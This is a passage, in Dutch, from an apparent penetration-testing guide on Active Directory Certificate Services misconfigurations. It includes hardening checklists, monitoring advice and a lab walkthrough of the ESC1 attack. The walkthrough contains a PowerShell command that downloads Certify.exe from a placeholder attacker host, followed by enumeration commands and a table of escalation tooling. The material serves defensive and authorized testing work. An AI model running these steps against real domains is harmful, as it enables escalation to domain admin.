Monitor specifiek op: - Certificaataanvragen met een SAN die afwijkt van de aanvrager - Gebruik van templates die normaal niet worden gebruikt - Enrollment Agent-certificaataanvragen - Wijzigingen aan template-configuratie
Remediation checklist
Een praktische checklist voor het beveiligen van je ADCS-omgeving:
[ ] Voer Certify.exe find /vulnerable of certipy find -vulnerable uit
[ ] Documenteer alle gevonden kwetsbare templates
[ ] Per template:
[ ] Is ENROLLEE_SUPPLIES_SUBJECT nodig? Zo nee, uitschakelen
[ ] Zijn de enrollment-rechten beperkt tot de juiste groepen?
[ ] Is Manager Approval ingeschakeld voor gevoelige templates?
[ ] Is de EKU beperkt tot wat nodig is?
[ ] Is msPKI-RA-Signature > 0 waar nodig?
[ ] CA-level:
[ ] Is EDITF_ATTRIBUTESUBJECTALTNAME2 uitgeschakeld?
[ ] Zijn Enrollment Agent Restrictions geconfigureerd?
[ ] Heeft de CA Web Enrollment HTTPS + EPA?
[ ] Is de CA-key in een HSM opgeslagen?
[ ] Monitoring:
[ ] Zijn Event IDs 4886-4889 ingeschakeld?
[ ] Is er alerting op certificaten met afwijkende SAN?
[ ] Is er alerting op ongebruikelijke template-aanvragen?
[ ] Organisatorisch:
[ ] Is er een eigenaar aangewezen voor de PKI-infrastructuur?
[ ] Worden templates periodiek gereviewed?
[ ] Is er een procedure voor het intrekken van certificaten?
PKI best practices samengevat
- Audit je templates — regelmatig, niet eenmalig. Templates worden gekopieerd, aangepast, vergeten.
- Minimale rechten — enrollment alleen voor wie het nodig heeft.
- Manager Approval — voor templates die identiteiten uitgeven.
- Geen EDITF_ATTRIBUTESUBJECTALTNAME2 — tenzij je een heel goede reden hebt, en “het was makkelijker zo” is geen goede reden.
- Separeer CA-rollen — de CA-beheerder zou niet dezelfde persoon moeten zijn als de domain admin.
- CRL/OCSP — zorg dat revocatie daadwerkelijk werkt en gecontroleerd wordt.
- HSM — bewaar de CA private key in een Hardware Security Module, niet op de harde schijf van de server.
- Tier-model — de CA hoort in Tier 0, net als de domain controllers. Behandel hem ook zo.
- Geen Web Enrollment zonder EPA — als je Certificate Enrollment Web Services aanbiedt, gebruik HTTPS en schakel Extended Protection for Authentication in.
- Documentatie — documenteer elke template: wie heeft hem gemaakt, waarom bestaat hij, wie mag enrollen, en wanneer is hij voor het laatst gereviewd.
Lab walkthrough: ESC1 van begin tot eind
Voor wie het in de praktijk wil zien, hier een complete walkthrough vanuit een schone lab-omgeving. Je hebt nodig: een DC (dc01.yourlab.local) met ADCS geinstalleerd, een werkstation, en een gewoon gebruikersaccount.
Stap 1: Omgeving verifiëren
# Check of ADCS draait
certutil -config - -ping
# Verwachte output: naam van de CA en "Alive" status
# Controleer je huidige identity
whoami
# Verwacht: yourlab\normaluserStap 2: Certify deployen via IB
Gebruik het get_certify command om Certify naar het
doelsysteem te downloaden. In IB, navigeer naar de Commands-pagina en
klik op get_certify. Het script download Certify naar
c:\windows\tasks\:
powershell -c (new-object System.Net.WebClient).DownloadFile(
'http://YOUR_IB_IP/tools/Certify.exe',
'c:\windows\tasks\Certify.exe'
)Stap 3: Enumeratie
cd c:\windows\tasks
.\Certify.exe find /vulnerableZoek in de output naar een template met alle drie de voorwaarden: -
ENROLLEE_SUPPLIES_SUBJECT - Client Authentication EKU -
Enrollment rights voor jouw groep
Stap 4: Exploitatie
Voer de volledige ESC1-keten uit zoals eerder beschreven. Documenteer elke stap met screenshots voor je rapport.
Stap 5: Opruimen
Na de test, verwijder het certificaat en documenteer de bevinding:
# Verwijder het lokale certificaat
certutil -delstore My "SerialNumber"
# Verwijder bestanden
del c:\windows\tasks\Certify.exe
del c:\windows\tasks\esc1.pfxIB — Gebruik de findings-module in IB om de bevinding vast te leggen. ADCS ESC1 is typisch een “Hoog” of “Kritiek” bevinding, afhankelijk van de impact. Neem screenshots op van de kwetsbare template-configuratie, het uitgegeven certificaat, en het bewijs van domain admin-toegang.
De ware waanzin
Laten we even stilstaan bij wat we hier zien. Active Directory Certificate Services is een fundamenteel onderdeel van de identiteitsinfrastructuur van vrijwel elke grote organisatie ter wereld. Het is ontworpen om vertrouwen te beheren. En het is zo complex, zo slecht gedocumenteerd, en zo makkelijk verkeerd te configureren dat een enkele checkbox in een template-wizard — een checkbox die standaard aanstaat bij bepaalde template types — voldoende is om een aanvaller van helpdesk-medewerker naar domain admin te promoveren.
Niemand begrijpt PKI. Dat is geen grap — het is een observatie. Ik heb het gevraagd aan systeembeheerders, security officers, zelfs aan mensen die de CA beheren. “Hoe werken je certificate templates?” wordt beantwoord met een blik die varieert van milde paniek tot existentiële crisis. Ze hebben het opgezet. Het werkt. Raken. We. Het. Niet. Aan.
En dat is precies het probleem. PKI is het fundament waarop authenticatie, encryptie en vertrouwen gebouwd zijn. Maar omdat niemand het begrijpt, controleert niemand het. Omdat niemand het controleert, wordt het niet gepatcht. En omdat het niet gepatcht wordt, is het jarenlang kwetsbaar. De “Certified Pre-Owned” paper beschreef kwetsbaarheden die al bestonden sinds de introductie van ADCS. Niet maanden. Jaren. Soms decennia.
Het is als een land dat zijn grondwet niet begrijpt maar er wel op vertrouwt. Iedereen gaat ervan uit dat iemand anders het in de gaten houdt. Maar niemand doet het. En op een dag komt er iemand langs die de grondwet daadwerkelijk leest, en ontdekt dat er een clausule in staat die zegt: “Wie dit leest, mag het land hebben.”
Referentietabel
| Onderwerp | IB Command | Tool | Moeilijkheid |
|---|---|---|---|
| CA en template enumeratie | adcs_enum |
Certify.exe, Certipy | Laag |
| Certify.exe downloaden | get_certify |
PowerShell WebClient | Laag |
| ESC1 — SAN misconfig | adcs_esc1 |
Certify.exe, Rubeus | Gemiddeld |
| ESC3 — Enrollment Agent | adcs_esc3 |
Certify.exe, Rubeus | Gemiddeld |
| ESC6 — CA flag misconfig | adcs_esc6 |
certutil, Certify.exe | Gemiddeld |
| PKINIT authenticatie | (onderdeel van ESC1-6) | Rubeus, Certipy | Gemiddeld |
| Template hardening | — | Certify /vulnerable | Laag |
| CA flag controle | adcs_esc6 (stap 1) |
certutil | Laag |
In het volgende hoofdstuk behandelen we persistentie — de kunst om te blijven, zelfs wanneer de verdedigers denken dat ze je eruit hebben gegooid. Want het enige dat erger is dan een inbreker in je huis, is een inbreker die er nooit meer weggaat.